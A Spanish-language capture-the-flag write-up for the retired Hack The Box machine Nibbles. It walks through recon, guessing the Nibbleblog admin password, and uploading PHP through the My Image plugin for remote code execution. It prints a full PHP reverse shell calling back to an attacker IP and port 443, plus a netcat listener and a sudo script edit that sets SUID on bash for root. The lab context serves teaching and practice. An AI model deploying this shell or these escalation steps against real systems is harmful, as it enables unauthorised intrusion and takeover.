Nibbles Write-Up

Fecha de lanzamiento13 Ene 2021
EstadoRetirada
DificultadEasy
PlataformaLinux
IP10.10.10.75

Información de la máquina


RECONOCIMIENTO

Realizando un escaneo mediante la herramienta nmap, observamos que están expuestos tanto el servicio SSH como un servidor web por el puerto 80.

nmap --open -p- -sS --min-rate 5000 -vvv -n -Pn -oG allPorts 10.10.10.75
nmap -sCV -p22,80 -oN targeted 10.10.10.75

Si lanzamos un fuzzing de directorios web sencillo y vemos la información que nos devuelve la herramienta whatweb, no nos están otorgando mucha información y no descubrimos nada relevante, mas allá de la versión de Apache.

Si echamos una inspección visual a la web, vemos que se trata de un servidor web con cero funcionalidad, pero dentro de los comentarios del código fuente tenemos lo que parece un directorio que podría ser válido: nibbleblog

Nibbleblog es un open-source CMS para creación de blogs sin usar bases de datos.

Si realizamos un descubrimiento de directorios mediante la herramienta gobuster, podemos ver que tenemos varios frentes abiertos donde buscar información que nos pueda valer:

gobuster dir -u http://10.10.10.75/nibbleblog/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt -t 100 --no-error -r

Dentro del directorio /content, observamos que tenemos un archivo de configuración llamado config.xml. Dentro de este archivo, tenemos una linea donde se nos muestra un correo, filtrando un posible nombre de usuario de la plataforma: admin

Además, dentro del archivo users.xml, podemos observar que el usuario admin parece que es un usuario válido de la plataforma.

Como todo CMS, tiene que tener un panel de inicio de sesión. Sabiendo que php está corriendo por detrás, podemos intuir la existencia de un admin.php.

El problema es que ,hemos intentado realizar un ataque de fuerza bruta, mediante la creación de un diccionario de contraseñas especifico con la herramienta cewl, y parece que existe algún tipo de protección contra estos ataques:

El siguiente paso fue más fortuna que técnica, ya que empecé a probar intentos de sesión manuales, con combinaciones como admin:admin, admin:password etc. En uno de esos intentos, se me ocurrió poner el nombre de la máquina (Nibbles), y me otorgó acceso como el usuario admin.

Parece que nuestro intentos fallidos han quedado registrados…

Tenemos acceso al Dashboard, pero para seguir con el reconocimiento vamos a inspeccionar un poco las diferentes features que tenemos. En la pestaña de configuración, podemos ver una versión del CMS: Nibbleblog 4.0.3 Coffee.

Si realizamos una búsqueda de exploits, vemos que existe justo un exploit disponible para esa versión. Es un script automatizado de Metasploit, así que vamos a inspeccionar el código a ver que es lo que está haciendo.

EXPLOTACIÓN

Observando el código del exploit, vemos que tenemos una referencia a un blog donde se nos detalla la vulnerabilidad: https://curesec.com/blog/article/blog/NibbleBlog-403-Code-Execution-47.html

Básicamente nos dicen que tenemos que tener una sesión como administradores (la tenemos), y que tenemos que utilizar un plugin llamado My Image para subir un archivo php el cual se va a alojar en una ruta predeterminada y vamos a tener capacidad de ejecutarlo y obtener ejecución remota de comandos. Como PoC, voy a crear un archivo en php que cuando se ejecute me muestre un mensaje de verificación:

Nos vamos al plugin, y vamos a cargar nuestro archivo php.

Si visitamos la ruta http://10.10.10.75/nibbleblog/content/private/plugins/my_image/, vemos que tenemos nuestro archivo que ha sido renombrado a image.php. Si lo abrimos, efectivamente podemos verificar que tenemos ejecución remota de comandos.

Obtener una Reverse Shell

Vamos a crear un script en php que nos entable una shell reversa a nuestra máquina local. Yo he usado una página que está muy interesante que te autogenera estos scripts: revshells.com

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.14.16';
$port = 443;
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

if (function_exists('pcntl_fork')) {
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

chdir("/");

umask(0);

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

Vamos a subir este archivo igual que hicimos en el procedimiento anterior. Pero esta vez antes de abrirlo, nos vamos a poner en escucha con netcat por el puerto que hemos indicado en la Reverse Shell.

nc -lvnp 443

Cuando ejecutemos el archivo en la ruta http://10.10.10.75/nibbleblog/content/private/plugins/my_image/, vemos que obtenemos un conexión y tenemos una Shell como el usuario Nibbler.

ESCALADA DE PRIVILEGIOS

Haciendo una enumeración sencilla mediante el comando sudo -l, podemos observar que nuestro usuario puede ejecutar como ROOT sin otorgar contraseña un script llamado monitor.sh.

Si buscamos ese script, vemos que no existe la carpeta /personal, pero lo que si que tenemos es un comprimido con ese nombre. Si lo descomprimimos, vemos que aparece el archivo, y que dentro de sus permisos nosotros somos el usuario asignado a ese archivo y tenemos todos los permisos. Así que podemos tanto ejecutarlo como modificarlo.

Ahora simplemente, podemos sobreescribir el archivo y introducir una linea que otorgue permisos SUID a la bash para cuando lo ejecutemos como ROOT, tener privilegios máximos en el sistema.

echo "chmod u+s /bin/bash" >> monitor.sh
sudo -u root ./monitor.sh
bash -p

Ya tenemos una shell como el usuario ROOT y podemos ver ambas flags de la máquina y reportarlas en HTB.

Jorge Escrito por: